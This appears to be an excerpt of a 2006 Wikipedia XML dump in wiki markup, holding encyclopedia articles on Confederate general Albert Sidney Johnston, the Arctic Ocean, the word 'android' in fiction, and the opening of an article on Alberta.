Johnston was born in [[Washington, Kentucky | Washington]], [[Kentucky]], the youngest son of Dr. John and Abigail Harris Johnston. His father was a native of [[Salisbury, Connecticut]]. Although Albert Johnston was born in Kentucky, he lived much of his life in [[Texas]], which he considered his home. He was educated at [[Transylvania University]] in [[Lexington, Kentucky | Lexington]] and later secured an appointment to [[United States Military Academy|West Point]]. In [[1826]] he graduated eighth in his class from the [[United States Military Academy]] with a commission as a [[second lieutenant]] in the 2nd U.S. [[Infantry]]. He was assigned to posts in [[New York]] and [[Missouri]] and served in the [[Black Hawk War]] in [[1832]] as chief of staff to General Henry Atlinson. In [[1829]] he married Henrietta Preston. He resigned his commission in [[1834]] to return to Kentucky to care for his dying wife. They had one son, William Preston Johnston.

==Texas Army==
In April 1834, Johnston took up farming in [[Texas]], but enlisted as a [[Private (rank)|private]] in the Texas Army during the [[Texas War of Independence]] against the Republic of [[Mexico]] in [[1836]]. One month later, Johnston was promoted to [[major]] and the position of [[aide-de-camp]] to General [[Sam Houston]]. He was named [[Adjutant General]] as a [[colonel]] in the [[Republic of Texas]] Army on [[August 5]], [[1836]]. On [[January 31]], [[1837]], he became Senior Brigadier General in command of the Texas Army.

On [[February 7]], [[1837]], he fought in a [[duel]] with Texas Brig. Gen. [[Felix Huston]], challenging each other for the command of the Texas Army; Johnston refused to fire on Huston and lost the position after he was wounded in the pelvis. The second president of the [[Republic of Texas]], [[Mirabeau B. Lamar]], appointed him Secretary of War on [[December 22]], [[1838]]. Johnston was to provide the defense of the Texas border against Mexican invasion, and in 1839 conducted a campaign against [[Native Americans in the United States|Indians]] in northern Texas. In February 1840, he resigned and returned to Kentucky, where he married [[Eliza Griffin]] in [[1843]]. They settled on a large [[plantation]] he named China Grove in [[Brazoria County, Texas]].

==U.S. Army==
Johnston returned to the Texas Army during the [[Mexican-American War]] under General [[Zachary Taylor]] as a [[colonel]] of the 1st Texas Rifle Volunteers.  The enlistments of his volunteers ran out just before the [[Battle of Monterrey]].  Johnston managed to convince a few volunteers to stay and fight as he himself served as the inspector general of volunteers and fought at the battles of Monterrey and [[Battle of Buena Vista|Buena Vista]]. Johnston remained on his plantation after the war until he was appointed by [[President of the United States | President]] [[Zachary Taylor]] to the U.S. Army as a [[major]] and was made a [[U.S. Army Paymaster | paymaster]] in December of [[1849]]. He served in that role for more than five years, making six tours, and traveling more than 4,000 miles annually on the Indian frontier of Texas. He served on the Texas frontier and elsewhere in the West. In [[1855]] President [[Franklin Pierce]] appointed him colonel of the 2nd (now 5th) Cavalry, a new regiment, which he organized. As a key figure in the [[Utah War]], he led U.S. troops who established a non-Mormon government in the formerly [[Church of Jesus Christ of Latter-Day Saints|Mormon]] territory. He received a [[brevet (military) | brevet]] promotion to [[brigadier general]] in [[1857]] for his service in Utah. He spent [[1860]] in Kentucky until [[December 21]], when he sailed for California to take command of the Department of the Pacific.

==Civil War==
At the outbreak of the [[American Civil War | Civil War]], Johnston was the commander of the U.S. Army [[Department of the Pacific]] in [[California and the Civil War|California]]. He was approached by some Californians who urged him to take his forces east to join the [[Union army | Union]] against the [[Confederate States of America|Confederacy]]. He resigned his commission, [[April 9]], [[1861]], as soon as he heard of the [[secession]] of Texas. He remained in California until June. After a rapid march through the deserts of Arizona and Texas, he reached [[Richmond, Virginia]], on or about [[September 1]], [[1861]]. There Johnston was appointed a general by his friend, Jefferson Davis. On [[May 30]], [[1861]], Johnston became the second highest ranking Confederate General (after the little-known [[Samuel Cooper (general) | Samuel Cooper]]) as commander of the [[Western Theater of the American Civil War | Western Department]]. He raised the [[Army of Mississippi]] to defend Confederate lines from the [[Mississippi River]] to [[Kentucky]] and the [[Allegheny Mountains]].

Although the [[Confederate Army]] won a morale-boosting victory at [[First Bull Run]] in the East in [[1861]], matters in the West turned ugly by early [[1862]]. Johnston's subordinate generals lost [[Battle of Fort Henry | Fort Henry]] on [[February 6]], [[1862]], and [[Battle of Fort Donelson | Fort Donelson]] on [[February 16]], [[1862]], to [[Union army | Union]] [[Brigadier General | Brig. Gen.]] [[Ulysses S. Grant]]. Johnston has been faulted for poor judgment in selecting Gens. [[Lloyd Tilghman | Tilghman]] and [[John B. Floyd | Floyd]] for those crucial positions and for not supervising adequate construction of the forts. And Union Maj. Gen. [[Don Carlos Buell]] captured the vital city of [[Nashville, Tennessee]]. Gen. [[P.G.T. Beauregard]] was sent west to join Johnston and they organized their forces at [[Corinth, Mississippi]], planning to ambush Grant's forces at [[Pittsburg Landing, Tennessee]].

==Shiloh==
Johnston concentrated many of his forces from around the theater and launched a massive surprise attack against Grant at the [[Battle of Shiloh]] on [[April 6]], [[1862]]. As the Confederate forces overran the Union camps, Johnston seemed to be everywhere, personally leading and rallying troops up and down the line. At about 2:30 p.m., while leading one of those charges, he was wounded, taking a bullet behind his right knee. He did not think the wound serious at the time, and sent his personal physician to attend to some wounded Union soldiers instead. The bullet had in fact clipped his [[popliteal artery]] and his boot was filling up with blood. Within a few minutes Johnston was observed by his staff to be nearly fainting off of his horse, and asked him if he was wounded, to which he replied &quot;Yes, and I fear seriously.&quot; It is possible that Johnston's duel in [[1837]] had caused nerve damage or numbness to that leg and that he did not feel the wound to his leg as a result. Johnston was taken to a small ravine, where he bled to death in minutes.

Ironically, it is probable that a Confederate soldier fired the fatal round. No Union soldiers were observed to have ever gotten behind Johnston during the fatal charge, while it is known that many Confederates were firing at the Union lines while Johnston charged well in advance of his soldiers. He was the highest-ranking casualty of the war and his death was a strong blow to the morale of the Confederacy. Jefferson Davis considered him the best general in the country; this was two months before the emergence of [[Robert E. Lee]] as their pre-eminent general.

==Epitaph==
Johnston was buried in [[New Orleans, Louisiana]]. In [[1866]], a joint resolution of the [[Texas Legislature]] was passed to have his body reinterred to the [[Texas State Cemetery]] in [[Austin, Texas|Austin]] (the re-interment occurred in [[1867]]). Four decades later, the state appointed [[Elisbet Ney]] to design a monument and sculpture of him to be erected at his gravesite.

The [[Texas Historical Commission]] has erected a historical marker near the entrance of what was once his [[plantation]]. An adjacent marker was erected by the San Jacinto Chapter of the [[Daughters of The Republic of Texas]] and the Lee, Roberts, and Davis Chapter of the [[United Daughters of the Confederate States of America]].

==References==
* Eicher, John H., &amp; Eicher, David J.: ''Civil War High Commands'', Stanford University Press, 2001, ISBN 0-8047-3641-3.

==External links==
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=4334 Albert Sidney Johnson at Find-A-Grave]

== Further reading ==
* Gott, Kendall D,, ''Where the South Lost the War: An Analysis of the Fort Henry-Fort Donelson Campaign, February 1862'', Stackpole Books, 2003, ISBN 0-8117-0049-6.
* Johnson, William Preston, ''The Life of Albert Sidney Johnston'', New York, 1878.
* Nofi, Albert A.; ''The Alamo and the Texas War for Independence''; Da Capo Press; ISBN: 0-306-81040-9.
* Roland, Charles P., ''Albert Sidney Johnston: Soldier of Three Republics'', Austin, 1964.

[[Category:1803 births|Johnston, Albert Sidney]]
[[Category:1862 deaths|Johnston, Albert Sidney]]
[[Category:American Civil War Generals|Johnston, Albert]]
[[Category:American Civil War people|Johnston, Albert]]
[[Category:Confederate Army generals|Johnston, Albert Sidney]]
[[Category:History of Texas|Johnston, Albert Sidney]]
[[Category:People from Texas|Johnston, Albert Sidney]]
[[Category:Texas]]
[[Category:United States Army officers|Johnston, Albert Sidney]]
[[Category:West Point graduates|Johnston, Albert Sidney]]

[[ca:Albert S. Johnston]]
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    </revision>
  </page>
  <page>
    <title>Arctic Ocean</title>
    <id>712</id>
    <revision>
      <id>41316727</id>
      <timestamp>2006-02-26T14:42:37Z</timestamp>
      <contributor>
        <username>Mohammed Khalil</username>
        <id>541247</id>
      </contributor>
      <minor />
      <comment>+ar</comment>
      <text xml:space="preserve">{{Five oceans}}
The '''[[Arctic]] Ocean''', located mostly in the [[North Pole|north polar]] region, is the smallest of the world's five [[ocean]]s, and the shallowest.  Even though [[International Hydrographic Organization|IHO]] recognizes it as an ocean, [[oceanography|oceanographers]] may call it ''the Arctic Mediterranean Sea'' or simply ''the Arctic Sea'', classifying it as one of the [[mediterranean sea]]s of the [[Atlantic Ocean]].

==Geography==
[[Image:Arctic_Ocean.png|right|Arctic Ocean]]

The Arctic Ocean occupies a roughly circular basin and covers an area of about 14,090,000 km² (5,440,000 mi&amp;sup2;), slightly less than 1.5 times the size of the [[United States|US]].  The coastline length is 45,389 km.  Nearly landlocked, it is surrounded by the land masses of [[Eurasia]], [[North America]], [[Greenland]], and a number of islands.  It includes [[Baffin Bay]], [[Barents Sea]], [[Beaufort Sea]], [[Chukchi Sea]], [[East Siberian Sea]], [[Greenland Sea]], [[Hudson Bay]], [[Hudson Strait]], [[Kara Sea]], [[Laptev Sea]], [[White Sea]] and other tributary bodies of water.  It is connected to the Pacific Ocean by the [[Bering Strait]] and to the Atlantic Ocean through the Greenland Sea.

An underwater [[ocean ridge]], the [[Lomonosov Ridge]], divides the Arctic Ocean into two basins: the [[Eurasian Basin|Eurasian]], or [[Nansen Basin|Nansen]], Basin, which is between 4,000 and 4,500 m (13,000 and 15,000 ft) deep, and the [[North American Basin|North American]], or [[Hyperborean Basin|Hyperborean]], Basin, which is about 4,000 m deep. The [[topography]] of the ocean bottom is marked by [[fault-block ridge]]s, [[abyssal plain|plains of the abyssal zone]], ocean deeps, and basins. The average depth of the Arctic Ocean is 1,038 m (3,407 ft), in part due to the large extent of [[continental shelf]] extant on the Eurasian side [http://www.marianatrench.com/mariana_trench-oceanography.htm].

[[Image:Polar bears near north pole.jpg|thumb|The Arctic Ocean is used by both [[marine mammal]]s and nuclear [[submarine]]s.]]
The greatest inflow of water comes from the Atlantic by way of the [[Norwegian Current]], which then flows along the Eurasian coast. Water also enters from the Pacific via the Bering Strait. The [[East Greenland Current]] carries the major outflow. [[Temperature]] and [[salinity]] vary [[season]]ally as the ice cover melts and freezes. Ice covers most of the ocean surface year-round, causing subfreezing temperatures much of the time. The Arctic is a major source of very cold air that inevitably moves toward the [[equator]], meeting with warmer air in the middle [[latitude]]s and causing [[rain]] and [[snow]]. Little marine life exists where the ocean surface is covered with ice throughout the year. Marine life abounds in open areas, especially the more southerly waters. The ocean's major ports are the [[Russia]]n cities of [[Murmansk]] and [[Arkhangelsk]] (Archangel). The Arctic Ocean is important as the shortest air route between the Pacific coast of North America and Europe overflies it.

Major chokepoint is the southern Chukchi Sea (northern access to the Pacific Ocean via the Bering Strait); strategic location between North America and Russia; shortest marine link between the extremes of eastern and western Russia; floating research stations operated by the US and Russia; maximum snow cover in March or April about 20 to 50 centimeters over the frozen ocean; snow cover lasts about 10 months.

Geographic coordinates: {{coor dm|90|00|N|0|00|E|}}

==Climate==
[[image:north pole september ice-pack 1978-2002.png|thumb|Extent of the Arctic ice-pack in September, 1978-2002]]
[[image:north pole february ice-pack 1978-2002.png|thumb|Extent of the Arctic ice-pack in February, 1978-2002]]
[[Polar climate]] characterized by persistent cold and relatively narrow annual temperature ranges; winters characterized by continuous darkness, cold and stable weather conditions, and clear skies; summers characterized by continuous daylight, damp and foggy weather, and weak cyclones with rain or snow.

There is considerable seasonal variation in how much [[pack ice]] covers the Arctic Ocean.



==Elevation extremes==
* ''lowest point:'' [[Fram Basin]] &amp;minus;4,665 m (according to [http://www.marianatrench.com/mariana_trench-oceanography.htm], the Arctic Ocean's Eurasian Basin deepest point is at &amp;minus;5,450 m (17,881 ft))
* ''highest point:'' sea level 0 m

==Natural resources==
Oil and gas fields, placer deposits, polymetallic nodules, sand and gravel aggregates, [[fish]], marine mammals ([[Seal (mammal)|seals]] and [[Whale|whales]]).

The political dead zone near the center of the sea is also at the center of a mounting dispute between the [[United States]], [[Russia]], [[Canada]], [[Norway]], and [[Denmark]]. It is considered significant because of its potential to contain as much as or more than a quarter of the world's oil and gas resources, the tapping of which could greatly alter the flow of the global energy market. [http://news.bbc.co.uk/2/hi/business/4354036.stm#map The Arctic's New Gold Rush - BBC]

==Natural hazards==
Ice islands occasionally break away from northern [[Ellesmere Island]]; icebergs calved from glaciers in western Greenland and extreme northeastern [[Canada]]; permafrost on islands; virtually ice locked from October to June; ships subject to superstructure icing from October to May.

==Environment - current issues==
Endangered marine species include [[Walrus|walruses]] and whales; fragile [[ecosystem]] slow to change and slow to recover from disruptions or damage; thinning polar icepack; seasonal hole in [[ozone layer]] over the [[North Pole]].

Reduction of the area of Arctic sea ice will have an effect on the planet's [[albedo]], thus possibly affecting [[global warming]].  Many scientists are presently concerned that warming temperatures in the Arctic may cause large amounts of fresh, Arctic Ocean meltwater to enter the North Atlantic, possibly disrupting global [[thermohaline circulation|ocean current patterns]]. Potentially severe changes in the Earth's climate might then ensue.

==Ports and harbors==
[[Image:Arctic Ocean Seaports.png|thumb|250px|Arctic Ocean Seaports, Churchill, Inuvik, Prudhoe Bay, Barrow, Pevek, Tiksi, Dikson, Dudinka, Arkhangelsk, Murmansk]]

[[Churchill, Manitoba]] (Canada), 
[[Inuvik]], (Canada)
[[Prudhoe Bay]], (US)
[[Barrow, Alaska|Barrow]], (US)
[[Pevek]], (Russia)
[[Tiksi]], (Russia), 
[[Dikson]] (Russia), 
[[Dudinka]], (Russia), 
[[Murmansk]] (Russia), 
[[Arkhangelsk]] (Russia)
[[Kirkenes]], (Norway)
[[Vardø]], (Norway)

==Transportation - note==
Sparse network of air, ocean, river, and land routes; the [[Northwest Passage]] (North America) and [[Northern Sea Route]] ([[Eurasia]]) are important seasonal waterways.

==Exploration==
The first surface crossing of the Arctic Ocean was led by Wally Herbert in [[1969]], in a dogsled expedition from [[Alaska]] to [[Svalbard]] with air support. See also [[Northwest Passage]], [[Open Polar Sea]].

==References==
Bibliography: 
*Neatby, Leslie  H., ''Discovery in Russian and Siberian Waters'' [[1973]] ISBN 0821401246
*Ray, L., and Stonehouse, B., eds., ''The Arctic Ocean'' [[1982]] ISBN 0333310179
*Thorén, Ragnar V. A., ''Picture Atlas of the Arctic'' [[1969]] ISBN 0821401246

Based on public domain text by US Naval Oceanographer: http://oceanographer.navy.mil/arctic.html

==See also==
*[[North Pole]]

==External links==
{{Wiktionary}}
*[http://www.arctic-council.org Arctic Council]
*[http://www.northernforum.org The Northern Forum]
*[http://vitalgraphics.grida.no/arcticmap Arctic Environmental Atlas] Interactive map of the Greater Arctic, including shaded relief and bathymetry of the Arctic Ocean.
*[http://www.arctic.noaa.gov NOAA Arctic Theme Page] Comprehensive Arctic Resource with data, photos, maps, essays on key Arctic issues, and much more.
* [http://dapper.pmel.noaa.gov/dchart/ NOAA In-situ Ocean Data Viewer] Plot and download ocean observations 
*[http://www.unaami.noaa.gov Arctic time series: The Unaami Data collection] Viewable interdisciplinary, diverse collection of Arctic variables from different geographic regions and data types.
*[http://www.arctic.noaa.gov/gallery_np.html NOAA North Pole Web Cam] Images from Web Cams deployed in Spring on an ice floe in the middle of the Arctic Ocean.
*[http://www.arctic.noaa.gov/gallery_np_weatherdata.html NOAA Near-realtime North Pole Weather Data] Data from instruments deployed on an ice floe in the middle of the Arctic Ocean.
*[http://www.wired.com/news/technology/0,1282,63980,00.html ''Search for Arctic Life Heats Up'' by Stephen Leahy]

[[Category:Oceans]]
[[Category:Seas]]
[[Category:Arctic]]

[[ar:محيط متجمد شمالي]]
[[an:Ozián Artico]]
[[zh-min-nan:Pak-ke̍k-iûⁿ]]
[[bn:উত্তর মহাসমুদ্র]]
[[br:Meurvor skornek Arktika]]
[[ca:Oceà Àrtic]]
[[cv:Çурçĕр Пăрлă океан]]
[[cs:Severní ledový oceán]]
[[cy:Cefnfor Arctig]]
[[da:Ishavet]]
[[de:Arktischer Ozean]]
[[et:Põhja-Jäämeri]]
[[el:Αρκτικός Ωκεανός]]
[[es:Océano Glacial Ártico]]
[[eo:Arkta Oceano]]
[[fr:Océan Arctique]]
[[gl:Océano Ártico]]
[[ko:북극해]]
[[io:Arktika Oceano]]
[[id:Samudra Arktik]]
[[ia:Oceano Arctic]]
[[it:Mare Glaciale Artico]]
[[he:אוקיינוס הקרח הצפוני]]
[[la:Oceanus Arcticus]]
[[lt:Arkties vandenynas]]
[[hu:Jeges-tenger]]
[[mk:Арктички Океан]]
[[nl:Arctische Oceaan]]
[[ja:北極海]]
[[no:Nordishavet]]
[[nn:Nordishavet]]
[[pl:Ocean Arktyczny]]
[[pt:Oceano Ártico]]
[[ru:Северный Ледовитый океан]]
[[simple:Arctic Ocean]]
[[sk:Severný ľadový oceán]]
[[sl:Arktični ocean]]
[[sr:Северни ледени океан]]
[[fi:Pohjoinen jäämeri]]
[[sv:Norra ishavet]]
[[ta:ஆர்க்டிக் பெருங்கடல்]]
[[th:มหาสมุทรอาร์กติก]]
[[tr:Arktik Okyanusu]]
[[uk:Північний Льодовитий океан]]
[[zh:北冰洋]]</text>
    </revision>
  </page>
  <page>
    <title>Android</title>
    <id>713</id>
    <revision>
      <id>40868805</id>
      <timestamp>2006-02-23T15:24:43Z</timestamp>
      <contributor>
        <ip>138.251.155.236</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">{{merge|gynoid}} 

[[Image:Data2.jpg|thumbnail|200px|The android [[Data (Star Trek)|Data]], portrayed by [[Brent Spiner]], from the TV series ''[[Star Trek: The Next Generation]]'']]An '''android''' is an [[artificial]]ly created [[robot]], an [[automaton]], that resembles a [[human]] being usually both in appearance and behavior.  The word derives from the [[Greek language|Greek]] ''andr-'', &quot; meaning &quot;[[man]], male&quot;, and the suffix ''-eides'', used to mean &quot;of the [[species]]; alike&quot; (from ''eidos'' &quot;species&quot;).  The word ''[[droid]]'', a robot in the ''[[Star Wars]]'' universe, is derived from this meaning.

In the semantic sense the word &quot;android&quot; is a misnomer. The intended meaning is &quot;an artificial human being like being&quot;, while the literal translation is &quot;an artificial male being&quot;.  The word ''andros'' has definite meaning of &quot;male human being&quot; in Greek, while the word ''man'' can mean either &quot;male human being&quot; or &quot;human being in general&quot;.  The gender-neutral word for human being in Greek is ''anthropos'', and the correct word for an artificial human being-like automaton would be [[anthropoid]].

__TOC__
== Usage and distinctions ==
Unlike the terms ''[[robot]]'' (a &quot;[[mechanics|mechanical]]&quot; being) and ''[[cyborg]]'' (a being that is partly [[organic compound|organic]] and partly mechanical), the word ''android'' has been used in literature and other media to denote several different kinds of [[artificial life|artificially constructed beings]]:

* a robot that closely resembles a human
* a cyborg that closely resembles a human
* an artificially created, yet primarily organic, being that closely resembles a human

Although human morphology is not necessarily the ideal form for working robots, the fascination in developing robots that can mimic it can be found historically in the assimilation of two concepts: ''[[simulacra]]'' (devices that exhibit likeness) and ''[[automata]]'' (devices that have independence).

The term android was first used by the French author [[Mathias Villiers de l'Isle-Adam]] (1838-1889) in his work ''[[Tomorrow's Eve]]'', featuring an artificial human-like robot named Hadaly.  As said by the officer in the story, &quot;In this age of Realien advancement, who knows what goes on in the mind of those responsible for these mechanical dolls.&quot;

Although [[Karel Capek|Karel &amp;#268;apek]]'s robots in ''[[R.U.R. (Rossum's Universal Robots)]]'' (1921)&amp;mdash;the play that introduced the word &quot;robot&quot; to the world&amp;mdash;were organic artificial humans, the word ''robot'' has come to primarily refer to mechanical humans, animals, and other beings.  The term android can mean either one of these, while a [[cyborg]] (&quot;cybernetic organism&quot; or &quot;bionic man&quot;) would be a creature that is a combination of organic and mechanical parts.

== Ambiguity ==
Historically, [[science fiction]] [[authors]] have used &quot;android&quot; in a greater diversity of ways than the terms &quot;robot&quot; and &quot;cyborg&quot;.  In some fiction works, the primary difference between a robot and android is only skin-deep, with androids being made to look almost exactly like humans on the outside, but with internal mechanics exactly the same as that of robots.  In other stories, authors have defined android to indicate a wholly organic, yet artificial, creation.  Other definitions of android fall somewhere in between.

The character [[Data (Star Trek)|Data]], from the [[television series]] ''[[Star Trek: The Next Generation]]'', is described as an android.  Data became [[intoxication|intoxicated]] in an early episode (&quot;[[The Naked Now (TNG episode)|The Naked Now]]&quot;) and is later referred to having &quot;bioplast sheeting&quot; for skin (&quot;[[The Most Toys (TNG episode)|The Most Toys]]&quot;), perhaps suggesting that he was initially intended by the writers to be at least partially organic.  Otherwise, Data was shown to be mechanical throughout and this often became a central plot theme.

The [[Replicant]]s from the movie ''[[Blade Runner]]'' were [[bioengineering|bioengineered]] organic beings.  While they were not referred to as either robots or androids in the movie, the screenplay was originally based on a [[novel]] by [[Philip K. Dick]] called ''[[Do Androids Dream of Electric Sheep?]]''

In the video game [[Beneath a Steel Sky]], genetically engineered androids similar to Blade Runner's Replicants are a central plot theme.  However, despite their organic makeup, their behavior is programmed by computer.

The robots of &amp;#268;apek's ''R.U.R.'' were organic in nature.  Today, an author writing a similar story might very well be inclined to call them androids.

The character Ash in the movie ''[[Alien (movie)|Alien]]'', another artificial organic being, is often referred to as an android (though not in the dialogue of the movie itself).  Similarly, the character Bishop in ''[[Aliens (movie)|Aliens]]'' and ''[[Alien³]]'' is a more advanced android commonly called a Synthetic, but prefers to be called an &quot;artificial person&quot;.  Much later in the series timeline, the character Call in ''[[Alien Resurrection]]'' is ashamed of being an android. 

[[C-3PO]] and [[R2-D2]] from the [[Star Wars]] movies are referred to as ''droids''.  While C-3PO could reasonably be called an android because he is humanoid in appearance, the squat cylinder R2-D2 is only humanoid in behavior.

In the movie ''[[A.I. (movie)|A.I.]]'', the robotic characters are called ''mechanoids'', but the film is loosely based on a short story written by [[Brian Aldiss]] called &quot;Supertoys Last All Summer Long&quot;, in which the central character David is called an android (by which Aldiss seemed to be referring to an organic creation).

In the anime/manga Chobits, Androids are known as &quot;Persicoms&quot;, essentially computers in a man-made body.  The series does not go into their internal composition, but it is assumed to be artificial with a very realistic outside.  One of the key points of this series was a special type of persicom named a &quot;Chobit&quot;, a persicom that had free will and the ability to fall in love and have emotions.

== Androids in fiction ==
Thus far, androids have remained mostly within the domain of [[science fiction]] and, frequently, in [[film]] and [[television]].  However, some &quot;[[humanoid robot]]s&quot; exist.

One of the earliest android characters is Otho from the [[Captain Future]] stories of [[Edmond Hamilton]].  Otho's construction is never discussed but he is much more human-like than his companion Grag, a mechanical [[robot]].

[[Isaac Asimov]]'s robot stories are mostly about androids; many are collected in ''[[I, Robot]]'' (1950).  They promulgated a set of rules of ethics for androids and robots (see [[Three Laws of Robotics]]) that greatly influenced other writers and thinkers in their treatment of the subject.  Most of Asimov's robots appear too artificial to be mistaken for human beings, with the notable exceptions of R. Jander Panell, [[R. Daneel Olivaw]] and Andrew Martin.

Perhaps the most famous android is [[Data (Star Trek)|Data]], played by actor [[Brent Spiner]], of the series ''Star Trek: The Next Generation'' (1987&amp;ndash;1994) and several spin-off motion pictures; this character was largely inspired by another android character created by [[Gene Roddenberry]] for ''[[The Questor Tapes]]''.  Data's immediate 'family' – brothers [[Lore (Star Trek)|Lore]] and [[B-4 (Star Trek)|B-4]] et al., daughter [[Lal]], and 'mother' [[Juliana Tainer|Dr. Juliana Tainer]] – were also androids (and the fembots are properly, though rarely, referred to as [[gynoid]]s) from the same creator, [[Noonien Soong|Dr. Noonien Soong]].

Earlier in ''[[Star Trek: The Motion Picture]]'' (1979), the Ilia [[probe]] – a precisely duplicated biomechanical [[drone]] of [[Ilia|Lieutenant Ilia]], with some of her [[emotion]]s intact – was dispatched by [[V'ger]] to gather information about the crew of the [[starship]] ''[[USS Enterprise (NCC-1701)|Enterprise]]''.

In the TV series ''[[Gene Roddenberry's Andromeda]]'' (2000&amp;ndash;2005), the [[gynoid]] [[Rommie]] is an extension of [[Andromeda Ascendant|the starship]]'s [[artificial intelligence|AI]] [[operating system]], represented by an [[avatar (virtual reality)|avatar]] of Rommie.

In the re-imagined series ''[[Battlestar Galactica (2003)|Battlestar Galactica]]'' (2003&amp;ndash;), the gynoid [[Number Six (Battlestar Galactica)|Number Six]] is one of a (seductive) variant of the [[antagonist]]ic, robotic [[Cylon (Battlestar Galactica)|Cylons]] that is used to infiltrate the fleeing [[human]] [[Twelve Colonies|Colonial forces]] and, particularly, the mind of the scientist [[Gaius Baltar|Dr. Gaius Baltar]].

Androids (Jinzou Ningen in [[Japanese language|Japanese]]; meaning 'artificial human') are also a race in ''[[Dragon Ball]]'', ''[[Dragon Ball Z]]'', and ''[[Dragon Ball GT]]''.  The androids' names were only numbers (such as Android #13 or Android #20). They were created by Dr. Gero, Dr. Muu, and the Red Ribbon Army.  Some are entirely artificial and some are created from humans and can be considered cyborgs.

Jinzo Ningen [[Kikaider]] was the first [[manga]] and [[tokusatsu]] series to feature an android protagonist.

The series [[Xenosaga]] borrows Villiers' original term Realian when referring to a race of beings created by Vector Corporation.  Two playable characters are androids (MOMO and KOS-MOS). One is refered to as a Realian while the second is simply an android.

In their respective series by [[Capcom]], [[Mega Man]] was initially called a &quot;humanoid&quot;, which was then simplified to robot.  [[Mega Man X|X]], a later version, is said to be more advanced, more independent of thought, and closer to an android.  Other beings, based off his design, are called [[Reploids]].

Many more examples may be found in this [[list of fictional robots]].

==References==
* Kerman, Judith B. (1991). ''Retrofitting Blade Runner: Issues in Ridley Scott's Blade Runner and Philip K. Dick's Do Androids Dream of Electric Sheep?''. Bowling Green, OH: Bowling Green State University Popular Press. ISBN 0879725095
* Shelde, Per (1993). ''Androids, Humanoids, and Other Science Fiction Monsters: Science and Soul in Science Fiction Films''. New York: New York University Press. ISBN 0814779301
* Sidney Perkowitz (2004) [http://fermat.nap.edu/books/0309089875/html Digital People: From Bionic Humans to Androids] Joseph Henry Press. ISBN 0309096197

== See also ==
*[[Animatronic]]
*[[Cyborg]]
*[[Domestic robot]]
*[[Muscle wire]]
*[[Robot]]
*[[Sex doll]]
*[[Realdoll]]
*[[Statuephilia]]
*[[Gynoid]]
*[[Artificial intelligence]]
*[[Humanoid]]
*[[Humanoid robot]]
*[[Transhumanism]]
*[[Repliee Q1]]

==External links==
*[http://www.androidworld.com/ Android World]
*[http://www.androidworld.com/prod52.htm Valerie, the domestic female android].

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{{Canadian province or territory |
  Name            = Alberta |
  AlternateName   = |
  Fullname        = Province of Alberta |
  EntityAdjective = Provincial |
  Flag            = Flag of Alberta.svg |
  CoatOfArms      = AlbertaCoatofArms.png |
  Map             = Alberta-map.png  |
  Motto           = Fortis et Liber ([[Latin]]: Strong and free) |
  OfficialLang    = [[English language|English]] |
  Capital         = [[Edmonton, Alberta|Edmonton]] |
  LargestCity     = [[Calgary, Alberta|Calgary]] |
  Flower          = [[Wild Rose (also known as prickly rose]] |
  Premier         = [[Ralph Klein]] |
  PremierParty    = [[Alberta Progressive Conservatives|PC]] |
  Viceroy         = [[Norman Kwong]] |
  ViceroyType     = Lieutenant-Governor |
  PostalAbbreviation = AB |
  PostalCodePrefix = [[List of T Postal Codes of Canada|T]] |
  AreaRank        = 6&lt;sup&gt;th (provinces and territories)&lt;/sup&gt; |
  TotalArea       = 661,848 |
  LandArea        = 642,317 |
  WaterArea       = 19,531 |
  PercentWater  = 2.95 |
  PopulationRank  = 4&lt;sup&gt;th&lt;/sup&gt; |
  Population      = 3,223,400 |
  PopulationYear  = 2005|
  DensityRank     = 6&lt;sup&gt;th&lt;/sup&gt; |
  Density         = 4.63 |
  AdmittanceOrder = 8&lt;sup&gt;th&lt;/sup&gt; (province)|
  AdmittanceDate  = [[September 1]], [[1905]] (split from [[Northwest Territories]]) |
  TimeZone        = [[Coordinated Universal Time|UTC]]-7 |
  HouseSeats      = 28 |
  SenateSeats     = 6 |
  ISOCode         = CA-AB |
  Website         = www.gov.ab.ca
}}

'''Alberta''' is one of [[Canada|Canada's]] [[Provinces of Canada|provinces]].   It celebrated 100 years as a province on [[September 1]], [[2005]].

Alberta is located in western Canada.  It is bounded on the west by the province of British Columbia, on the north by the Northwest Territories, on the east by the province of Saskatchewan, and on the south by the United States of America (State of Montana).

Alberta's capital is the city of [[Edmonton, Alberta|Edmonton]], located just south of the centre of the province.  The most populous city and metropolitan area is [[Calgary, Alberta|Calgary]]. Calgary is also the province's busiest transportation hub (for road, air, and rail) and is one of Canada's major commerce centres. Other major municipalities include [[Red Deer, Alberta|Red Deer]], [[Lethbridge, Alberta|Lethbridge]], [[Medicine Hat, Alberta|Medicine Hat]], [[Fort McMurray, Alberta|Fort McMurray]], [[Grande Prairie, Alberta|Grande Prairie]], [[Camrose, Alberta|Camrose]], [[Lloydminster, Alberta|Lloydminster]], [[Wetaskiwin, Alberta|Wetaskiwin]], [[Banff, Alberta|Banff]], and [[Jasper, Alberta|Jasper]]. See also: [[List of communities in Alberta]].

The [[Premier (Canada)|Premier]] of the province is Hon. [[Ralph Klein]], Progressive Conservative.  See also [[List of Alberta Premiers]].

Alberta is named after [[Princess Louise, Duchess of Argyll|Princess Louise Caroline Alberta]] (1848-1939), the fourth daughter of Queen [[Victoria of the United Kingdom|Victoria]].  Princess Louise was also the wife of [[John Douglas Sutherland Campbell, 9th Duke of Argyll|Sir John Campbell]], who was the [[Governor General of Canada]] from 1878-1883.  [[Lake Louise]] was also named in honour of Princess Louise.

==Geography==
:''Main article: [[Geography of Alberta]]''

Alberta is in [[western Canada]], and covers an area of 661,190 km² (255,287 mi²). To the south, it borders the US state of [[Montana]] at a latitude of 49°N, or the [[49th parallel north|49th Parallel]]. To the east at a longitude of 110°W, it borders the province of [[Saskatchewan]]. At 60°N, it is bordered by the [[Northwest Territories]]. To the west, its border with [[British Columbia]] follows the line of peaks of the [[Rocky Mountains]] range along the [[Continental Divide]], which runs northwesterly until it reaches 120° W, at which point the border follows this meridian to 60°N.

